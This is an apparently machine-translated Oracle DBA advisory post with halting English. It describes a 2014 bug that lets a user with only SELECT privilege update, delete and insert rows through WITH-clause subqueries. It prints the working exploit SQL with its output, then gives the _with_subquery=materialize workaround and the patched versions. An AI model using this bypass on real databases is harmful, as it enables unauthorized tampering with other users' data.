Oracle Solution _with_subquery=materialize or PSU (after 2014.07)

Recently circulated online through with bypass permissions to implement illegal update table data, there is a greater risk. For CPU bugs in the July 2014 PSU repair, recommended upgrade corresponding PSU, if the conditions are not allowed, you can temporarily avoid the risk through the _with_subquery parameter
Database version Information
Sql> select * from V$version;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition release 11.2.0.4.0-64bit Production
Pl/sql Release 11.2.0.4.0-production
CORE 11.2.0.4.0 Production
TNS for Linux:version 11.2.0.4.0-production
Nlsrtl Version 11.2.0.4.0-production

[Oracle@localhost ~]$ Opatch lsinventory
Oracle Interim Patch Installer version 11.2.0.3.4
Copyright (c), Oracle Corporation. All rights reserved.


Oracle Home:/u01/app/oracle/product/11.2.0/db_1
Inventory:/u01/app/orainventory
From:/u01/app/oracle/product/11.2.0/db_1/orainst.loc
Opatch version:11.2.0.3.4
OUI version:11.2.0.4.0
Log File Location:/u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2015-05-25_20-38-37pm_1.log

Lsinventory Output file Location:/u01/app/oracle/product/11.2.0/db_1/
Cfgtoollogs/opatch/lsinv/lsinventory2015-05-25_20-38-37pm.txt

--------------------------------------------------------------------------------
Installed top-level products (1):

Oracle Database 11g 11.2.0.4.0
There are 1 products installed at this Oracle home.


There are no interim patches installed in this Oracle home.


--------------------------------------------------------------------------------

Opatch succeeded.
The database version is 11.2.0.4 and No PSU patches are installed

Re-bug information based on Emme test
can refer to the original Link:oracle database high-risk vulnerability warning!
Sql> Conn Chf/xifenfei
Connected.
Sql> CREATE TABLE T_dml as SELECT * from Dba_users;

Table created.

Sql> create user Xifenfei_dml identified by "www.xifenfei.com";

User created.

Sql> Grant create session to XIFENFEI_DML;

Grant succeeded.

Sql> Grant Select on Chf.t_dml to XIFENFEI_DML;

Grant succeeded.

Sql>

Sql> Grant Select on Chf.t_dml to XIFENFEI_DML;

Grant succeeded.

Sql> Conn xifenfei_dml/"www.xifenfei.com"
Connected.

Sql> Select COUNT (*) from CHF.T_DML;

COUNT (*)
----------
32

Sql> Select username,user_id from Chf.t_dml where rownum <= 2;

USERNAME user_id
------------------------------ ----------
SYS 0
SYSTEM 5

sql> Update chf.t_dml set username= ' www.xifenfei.com ' where user_id = 5;
Update chf.t_dml set username= ' www.xifenfei.com ' WHERE user_id = 5
*
ERROR at line 1:
Ora-01031:insufficient Privileges

sql> update (with TMP as (select User_id,username from CHF.T_DML)
2 Select User_id,username from tmp) set username= ' www.xifenfei.com ' where user_id=5;

1 row updated.

Sql> commit;

Commit complete.

Sql> Select username,user_id from Chf.t_dml where rownum <= 2;

USERNAME user_id
------------------------------ ----------
SYS 0
Www.xifenfei.com 5

Sql> Delete (with TMP as (select User_id,username from CHF.T_DML)
2 Select User_id,username from TMP) where user_id=5;

1 row deleted.

Sql> commit;

Commit complete.

Sql> Select username,user_id from Chf.t_dml where user_id=5;

No rows selected

Sql> INSERT INTO (with TMP as (SELECT * from CHF.T_DML)
2 SELECT * FROM TMP] SELECT * FROM CHF.T_DML where rownum<10;

9 rows created.

Sql> commit;

Commit complete.

Sql> Select COUNT (*) from CHF.T_DML;

COUNT (*)
----------
40
It is demonstrated here that, in the absence of DML, DML operations can be implemented with the, so that no change record user to achieve DML operation, database security problems, through the query MoS and other related information to determine the bug impact database 11.2.0.3,11.2.0.4, Common versions of 12.1.0.1

Temporarily circumvent this bug for users who cannot be upgraded in a timely manner using the _with_subquery parameter
The implication of this implied parameter is that the query result is materialized into a temp table when queried with the WITH clause (in fact, this is the purpose of our common with clause, materialized, cached result sets)
Sql> Conn/as SYSDBA
Connected.
Sql> col name for A52
Col value for A24
Sql> sql> col description for A50
Set Linesize 150
sql> sql> Select a.ksppinm NAME,B.KSPPSTVL value,a.ksppdesc description
2 from X$ksppi A,X$KSPPCV b
where a.inst_id = USERENV (' Instance ')
3 4 and b.inst_id = USERENV (' Instance ')
5 and A.indx = B.indx
6 and Upper (A.KSPPINM) like Upper ('%&param% ')
7 Order BY name
/8
Enter value for param: _with_subquery
Old 6:and Upper (A.KSPPINM) like Upper ('%&param% ')
New 6:and Upper (A.KSPPINM) like Upper ('%_with_subquery% ')

NAME VALUE DESCRIPTION
---------------------------------------------------- ------------------------ ------------------------------
_with_subquery OPTIMIZER with subquery transformation



Sql> alter system set "_with_subquery" =materialize;

System altered.


Sql> alter system set "_with_subquery" =materialize;

System altered.

Sql> INSERT INTO (with TMP as (SELECT * from CHF.T_DML)
2 SELECT * FROM TMP] SELECT * FROM CHF.T_DML where rownum<10;
INSERT INTO (with TMP as (SELECT * from CHF.T_DML)
*
ERROR at line 1:
Ora-01732:data manipulation operation not legal on this view


Sql> Delete (with TMP as (select User_id,username from CHF.T_DML)
2 Select User_id,username from TMP) where user_id=5;
Delete (with TMP as (select User_id,username from CHF.T_DML)
*
ERROR at line 1:
Ora-01732:data manipulation operation not legal on this view


sql> update (with TMP as (select User_id,username from CHF.T_DML)
2 Select User_id,username from tmp) set username= ' www.xifenfei.com ' where user_id=5;
Update (with TMP as (select User_id,username from CHF.T_DML)
*
ERROR at line 1:
Ora-01732:data manipulation operation not legal on this view
The vulnerability was fixed in the July 2014 CPU, and the following PSU contains the CPU patch, which is recommended to upgrade as soon as possible if conditions permit
Version 12.1.0.1.4 or later
Version 11.2.0.4.3 or later
Version 11.2.0.3.11 or later
Version 11.1.0.7.20 or later